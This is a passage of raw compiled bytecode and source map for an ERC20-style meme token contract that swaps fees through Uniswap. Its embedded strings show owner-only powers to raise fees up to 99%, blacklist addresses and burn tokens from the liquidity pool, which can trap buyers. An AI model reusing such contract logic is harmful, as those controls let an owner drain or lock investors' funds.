fffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613ad69190614dd6565b60405180910390a3505050565b600080613aee613db4565b90508091505090565b6000613b023061179a565b90506000602154601f54602054613b199190614ec6565b613b239190614ec6565b9050600080831480613b355750600082145b15613b4257505050613c7d565b6014600c54613b519190614f4d565b831115613b6a576014600c54613b679190614f4d565b92505b600060028360205486613b7d9190614f4d565b613b879190614f1c565b613b919190614f1c565b90506000613ba88286613e5890919063ffffffff16565b90506000479050613bb882613ea2565b6000613bcd8247613e5890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613c2d90614a2e565b60006040518083038185875af1925050503d8060008114613c6a576040519150601f19603f3d011682016040523d82523d6000602084013e613c6f565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613cbb9190614a43565b60206040518083038186803b158015613cd357600080fd5b505afa158015613ce7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d0b91906144c1565b90506000613d246011548361277f90919063ffffffff16565b9050613d2f84614160565b613d415760008114613d4057600080fd5b5b600192505050919050565b60008083118290613d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d8a9190614a94565b60405180910390fd5b5060008385613da29190614f1c565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613e2f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613e53565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613e9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613555565b905092915050565b6000600267ffffffffffffffff811115613ee5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015613f135781602001602082028036833780820191505090505b5090503081600081518110613f51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613ff157600080fd5b505afa158015614005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140299190614293565b81600181518110614063577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140c8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846127e5565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161412a959493929190614df1565b600060405180830381600087803b15801561414457600080fd5b505af1158015614158573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000813590506141c681615888565b92915050565b6000815190506141db81615888565b92915050565b60008083601f8401126141f357600080fd5b8235905067ffffffffffffffff81111561420c57600080fd5b60208301915083602082028301111561422457600080fd5b9250929050565b60008135905061423a8161589f565b92915050565b60008135905061424f816158b6565b92915050565b600081519050614264816158b6565b92915050565b60006020828403121561427c57600080fd5b600061428a848285016141b7565b91505092915050565b6000602082840312156142a557600080fd5b60006142b3848285016141cc565b91505092915050565b600080604083850312156142cf57600080fd5b60006142dd858286016141b7565b92505060206142ee858286016141b7565b9150509250929050565b60008060006060848603121561430d57600080fd5b600061431b868287016141b7565b935050602061432c868287016141b7565b925050604061433d86828701614240565b9150509250925092565b6000806040838503121561435a57600080fd5b6000614368858286016141b7565b92505060206143798582860161422b565b9150509250929050565b6000806040838503121561439657600080fd5b60006143a4858286016141b7565b92505060206143b585828601614240565b9150509250929050565b6000806000604084860312156143d457600080fd5b600084013567ffffffffffffffff8111156143ee57600080fd5b6143fa868287016141e1565b9350935050602061440d8682870161422b565b9150509250925092565b60008060006040848603121561442c57600080fd5b600084013567ffffffffffffffff81111561444657600080fd5b614452868287016141e1565b9350935050602061446586828701614240565b9150509250925092565b60006020828403121561448157600080fd5b600061448f8482850161422b565b91505092915050565b6000602082840312156144aa57600080fd5b60006144b884828501614240565b91505092915050565b6000602082840312156144d357600080fd5b60006144e184828501614255565b91505092915050565b6000806000606084860312156144ff57600080fd5b600061450d86828701614240565b935050602061451e86828701614240565b925050604061452f8682870161422b565b9150509250925092565b60008060006060848603121561454e57600080fd5b600061455c86828701614240565b935050602061456d86828701614240565b925050604061457e86828701614240565b9150509250925092565b600061459483836145a0565b60208301905092915050565b6145a981614fdb565b82525050565b6145b881614fdb565b82525050565b60006145c982614e76565b6145d38185614e99565b93506145de83614e66565b8060005b8381101561460f5781516145f68882614588565b975061460183614e8c565b9250506001810190506145e2565b5085935050505092915050565b61462581614fed565b82525050565b61463481615030565b82525050565b61464381615054565b82525050565b600061465482614e81565b61465e8185614eb5565b935061466e818560208601615066565b614677816151a1565b840191505092915050565b600061468f602383614eb5565b915061469a826151b2565b604082019050919050565b60006146b2602283614eb5565b91506146bd82615201565b604082019050919050565b60006146d5601683614eb5565b91506146e082615250565b602082019050919050565b60006146f8602683614eb5565b915061470382615279565b604082019050919050565b600061471b602283614eb5565b9150614726826152c8565b604082019050919050565b600061473e603383614eb5565b915061474982615317565b604082019050919050565b6000614761601b83614eb5565b915061476c82615366565b602082019050919050565b6000614784602483614eb5565b915061478f8261538f565b604082019050919050565b60006147a7603683614eb5565b91506147b2826153de565b604082019050919050565b60006147ca601d83614eb5565b91506147d58261542d565b602082019050919050565b60006147ed603083614eb5565b91506147f882615456565b604082019050919050565b6000614810603583614eb5565b915061481b826154a5565b604082019050919050565b6000614833603583614eb5565b915061483e826154f4565b604082019050919050565b6000614856604983614eb5565b915061486182615543565b606082019050919050565b6000614879602183614eb5565b9150614884826155b8565b604082019050919050565b600061489c602083614eb5565b91506148a782615607565b602082019050919050565b60006148bf603283614eb5565b91506148ca82615630565b604082019050919050565b60006148e2602183614eb5565b91506148ed8261567f565b604082019050919050565b6000614905602a83614eb5565b9150614910826156ce565b604082019050919050565b6000614928602583614eb5565b91506149338261571d565b604082019050919050565b600061494b602083614eb5565b91506149568261576c565b602082019050919050565b600061496e600083614eaa565b915061497982615795565b600082019050919050565b6000614991602483614eb5565b915061499c82615798565b604082019050919050565b60006149b4601383614eb5565b91506149bf826157e7565b602082019050919050565b60006149d7601d83614eb5565b91506149e282615810565b602082019050919050565b60006149fa602f83614eb5565b9150614a0582615839565b604082019050919050565b614a1981615019565b82525050565b614a2881615023565b82525050565b6000614a3982614961565b9150819050919050565b6000602082019050614a5860008301846145af565b92915050565b6000602082019050614a73600083018461461c565b92915050565b6000602082019050614a8e600083018461462b565b92915050565b60006020820190508181036000830152614aae8184614649565b905092915050565b60006020820190508181036000830152614acf81614682565b9050919050565b60006020820190508181036000830152614aef816146a5565b9050919050565b60006020820190508181036000830152614b0f816146c8565b9050919050565b60006020820190508181036000830152614b2f816146eb565b9050919050565b60006020820190508181036000830152614b4f8161470e565b9050919050565b60006020820190508181036000830152614b6f81614731565b9050919050565b60006020820190508181036000830152614b8f81614754565b9050919050565b60006020820190508181036000830152614baf81614777565b9050919050565b60006020820190508181036000830152614bcf8161479a565b9050919050565b60006020820190508181036000830152614bef816147bd565b9050919050565b60006020820190508181036000830152614c0f816147e0565b9050919050565b60006020820190508181036000830152614c2f81614803565b9050919050565b60006020820190508181036000830152614c4f81614826565b9050919050565b60006020820190508181036000830152614c6f81614849565b9050919050565b60006020820190508181036000830152614c8f8161486c565b9050919050565b60006020820190508181036000830152614caf8161488f565b9050919050565b60006020820190508181036000830152614ccf816148b2565b9050919050565b60006020820190508181036000830152614cef816148d5565b9050919050565b60006020820190508181036000830152614d0f816148f8565b9050919050565b60006020820190508181036000830152614d2f8161491b565b9050919050565b60006020820190508181036000830152614d4f8161493e565b9050919050565b60006020820190508181036000830152614d6f81614984565b9050919050565b60006020820190508181036000830152614d8f816149a7565b9050919050565b60006020820190508181036000830152614daf816149ca565b9050919050565b60006020820190508181036000830152614dcf816149ed565b9050919050565b6000602082019050614deb6000830184614a10565b92915050565b600060a082019050614e066000830188614a10565b614e13602083018761463a565b8181036040830152614e2581866145be565b9050614e3460608301856145af565b614e416080830184614a10565b9695505050505050565b6000602082019050614e606000830184614a1f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614ed182615019565b9150614edc83615019565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f1157614f10615114565b5b828201905092915050565b6000614f2782615019565b9150614f3283615019565b925082614f4257614f41615143565b5b828204905092915050565b6000614f5882615019565b9150614f6383615019565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f9c57614f9b615114565b5b828202905092915050565b6000614fb282615019565b9150614fbd83615019565b925082821015614fd057614fcf615114565b5b828203905092915050565b6000614fe682614ff9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061503b82615042565b9050919050565b600061504d82614ff9565b9050919050565b600061505f82615019565b9050919050565b60005b83811015615084578082015181840152602081019050615069565b83811115615093576000848401525b50505050565b600060028204905060018216806150b157607f821691505b602082108114156150c5576150c4615172565b5b50919050565b60006150d682615019565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561510957615108615114565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b61589181614fdb565b811461589c57600080fd5b50565b6158a881614fed565b81146158b357600080fd5b50565b6158bf81615019565b81146158ca57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae1db063153e4aa17953bb73d09c0d0329c8452fc56203353141d7a583fba32d64736f6c63430008030033

Deployed Bytecode Sourcemap

134:17403:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4119:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6285:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1859:64:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15208:247;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;201:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5238:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8065:157:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;575:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;676:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1414:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1374;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7054:233;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6936:355:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13925:223:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;259:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;758:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;719:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5081:92:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;863:32:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7700:218:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2199:93:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;319:28:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8384:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1225:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;941:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;978:93;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5409:127:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1466:148:4;;;;;;;;;;;;;:::i;:::-;;17081:447:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5697:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8230:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;532:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1114;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6677:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16904:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4925:155;;;;;;;;;;;;;:::i;:::-;;673:79:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;501:24:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1260:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5539:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4338:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1188:24:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12747:107:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;632:35:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1454:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1336:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7914:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8421:269:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;819:29:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5749:175:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8521:208:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2081:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7706:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;902:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7516:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6291:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7295:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4714:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1672:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;417:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5894:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1080:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5987:151:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;459:33:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5145:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1151:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1895:244:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1298:31:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;386:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15467:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4119:100:1;4173:13;4206:5;4199:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4119:100;:::o;6285:169::-;6368:4;6385:39;6394:12;:10;:12::i;:::-;6408:7;6417:6;6385:8;:39::i;:::-;6442:4;6435:11;;6285:169;;;;:::o;1859:64:2:-;;;;;;;;;;;;;;;;;;;;;;:::o;15208:247::-;877:13:4;:11;:13::i;:::-;15300:9:2::1;15295:153;15319:8;;:15;;15315:1;:19;15295:153;;;15433:3;15356:61;:74;15418:8;;15427:1;15418:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15356:74;;;;;;;;;;;;;;;;:80;;;;;;;;;;;;;;;;;;15336:3;;;;;:::i;:::-;;;;15295:153;;;;15208:247:::0;;;:::o;201:51::-;;;:::o;5238:108:1:-;5299:7;5326:12;;5319:19;;5238:108;:::o;8065:157:2:-;877:13:4;:11;:13::i;:::-;8172:9:2::1;;;;;;;;;;;8144:38;;8161:9;8144:38;;;;;;;;;;;;8205:9;8193;;:21;;;;;;;;;;;;;;;;;;8065:157:::0;:::o;575:50::-;;;;:::o;676:35::-;;;;:::o;1414:33::-;;;;:::o;1374:::-;;;;:::o;7054:233::-;877:13:4;:11;:13::i;:::-;7173:3:2::1;7167:4;7163:1;7147:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7146:30;;;;:::i;:::-;7136:6;:40;;7128:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;7272:6;7262;:17;;;;:::i;:::-;7239:20;:40;;;;7054:233:::0;:::o;6936:355:1:-;7076:4;7093:36;7103:6;7111:9;7122:6;7093:9;:36::i;:::-;7140:121;7149:6;7157:12;:10;:12::i;:::-;7171:89;7209:6;7171:89;;;;;;;;;;;;;;;;;:11;:19;7183:6;7171:19;;;;;;;;;;;;;;;:33;7191:12;:10;:12::i;:::-;7171:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7140:8;:121::i;:::-;7279:4;7272:11;;6936:355;;;;;:::o;13925:223:2:-;877:13:4;:11;:13::i;:::-;14022:9:2::1;14017:124;14041:10;;:17;;14037:1;:21;14017:124;;;14109:10;;14120:1;14109:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14085:44;;14094:13;;;;;;;;;;;14085:44;;;14124:4;14085:44;;;;;;:::i;:::-;;;;;;;;14060:3;;;;;:::i;:::-;;;;14017:124;;;;13925:223:::0;;;:::o;259:53::-;305:6;259:53;:::o;758:54::-;;;;:::o;719:32::-;;;;;;;;;;;;;:::o;5081:92:1:-;5139:5;5164:1;5157:8;;5081:92;:::o;863:32:2:-;;;;;;;;;;;;;:::o;7700:218:1:-;7788:4;7805:83;7814:12;:10;:12::i;:::-;7828:7;7837:50;7876:10;7837:11;:25;7849:12;:10;:12::i;:::-;7837:25;;;;;;;;;;;;;;;:34;7863:7;7837:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7805:8;:83::i;:::-;7906:4;7899:11;;7700:218;;;;:::o;2199:93:4:-;877:13;:11;:13::i;:::-;2277:7:::1;2269:5;;:15;;;;;;;;;;;;;;;;;;2199:93:::0;:::o;319:28:2:-;;;;;;;;;;;;;:::o;8384:125::-;8449:4;8473:19;:28;8493:7;8473:28;;;;;;;;;;;;;;;;;;;;;;;;;8466:35;;8384:125;;;:::o;1225:28::-;;;;:::o;941:30::-;;;;;;;;;;;;;:::o;978:93::-;;;;;;;;;;;;;;;;;;;;;;:::o;5409:127:1:-;5483:7;5510:9;:18;5520:7;5510:18;;;;;;;;;;;;;;;;5503:25;;5409:127;;;:::o;1466:148:4:-;877:13;:11;:13::i;:::-;1573:1:::1;1536:40;;1557:6;::::0;::::1;;;;;;;;1536:40;;;;;;;;;;;;1604:1;1587:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1466:148::o:0;17081:447:2:-;877:13:4;:11;:13::i;:::-;17235:3:2::1;17212:19;:26;;17204:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;17325:4;17313:8;:16;;:33;;;;;17345:1;17333:8;:13;;17313:33;17305:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17428:19;17410:15;:37;;;;17477:8;17458:16;:27;;;;17512:8;17496:13;;:24;;;;;;;;;;;;;;;;;;17081:447:::0;;;:::o;5697:127::-;5747:4;877:13:4;:11;:13::i;:::-;5779:5:2::1;5763:13;;:21;;;;;;;;;;;;;;;;;;5812:4;5805:11;;5697:127:::0;:::o;8230:144::-;877:13:4;:11;:13::i;:::-;8362:4:2::1;8320:31;:39;8352:6;8320:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8230:144:::0;;:::o;532:30::-;;;;;;;;;;;;;:::o;1114:::-;;;;:::o;6677:369::-;877:13:4;:11;:13::i;:::-;6811::2::1;6793:15;:31;;;;6853:13;6835:15;:31;;;;6889:7;6877:9;:19;;;;6958:9;;6940:15;;6922;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;6907:12;:60;;;;7002:2;6986:12;;:18;;6978:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6677:369:::0;;;:::o;16904:169::-;16970:4;16993:61;:72;17055:9;16993:72;;;;;;;;;;;;;;;;;;;;;;;;;16986:79;;16904:169;;;:::o;4925:155::-;877:13:4;:11;:13::i;:::-;4996:4:2::1;4980:13;;:20;;;;;;;;;;;;;;;;;;5025:4;5011:11;;:18;;;;;;;;;;;;;;;;;;5057:15;5040:14;:32;;;;4925:155::o:0;673:79:4:-;711:7;738:6;;;;;;;;;;;731:13;;673:79;:::o;501:24:2:-;;;;;;;;;;;;;:::o;1260:31::-;;;;:::o;5539:101::-;877:13:4;:11;:13::i;:::-;5625:7:2::1;5611:11;;:21;;;;;;;;;;;;;;;;;;5539:101:::0;:::o;4338:104:1:-;4394:13;4427:7;4420:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4338:104;:::o;1188:24:2:-;;;;:::o;12747:107:1:-;877:13:4;:11;:13::i;:::-;12824:22:1::1;12830:7;12839:6;12824:5;:22::i;:::-;12747:107:::0;;:::o;632:35:2:-;;;;:::o;1454:27::-;;;;:::o;1336:25::-;;;;:::o;7914:143::-;877:13:4;:11;:13::i;:::-;8008:41:2::1;8037:4;8043:5;8008:28;:41::i;:::-;7914:143:::0;;:::o;8421:269:1:-;8514:4;8531:129;8540:12;:10;:12::i;:::-;8554:7;8563:96;8602:15;8563:96;;;;;;;;;;;;;;;;;:11;:25;8575:12;:10;:12::i;:::-;8563:25;;;;;;;;;;;;;;;:34;8589:7;8563:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8531:8;:129::i;:::-;8678:4;8671:11;;8421:269;;;;:::o;819:29:2:-;;;;:::o;5749:175:1:-;5835:4;5852:42;5862:12;:10;:12::i;:::-;5876:9;5887:6;5852:9;:42::i;:::-;5912:4;5905:11;;5749:175;;;;:::o;8521:208:2:-;877:13:4;:11;:13::i;:::-;8658:15:2::1;;;;;;;;;;;8615:59;;8638:18;8615:59;;;;;;;;;;;;8703:18;8685:15;;:36;;;;;;;;;;;;;;;;;;8521:208:::0;:::o;2081:61::-;;;;;;;;;;;;;;;;;;;;;;:::o;7706:200::-;877:13:4;:11;:13::i;:::-;7835:5:2::1;7801:25;:31;7827:4;7801:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7892:5;7858:40;;7886:4;7858:40;;;;;;;;;;;;7706:200:::0;;:::o;902:32::-;;;;;;;;;;;;;:::o;7516:182::-;877:13:4;:11;:13::i;:::-;7632:8:2::1;7601:19;:28;7621:7;7601:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;7672:7;7656:34;;;7681:8;7656:34;;;;;;:::i;:::-;;;;;;;;7516:182:::0;;:::o;6291:378::-;877:13:4;:11;:13::i;:::-;6427::2::1;6408:16;:32;;;;6470:13;6451:1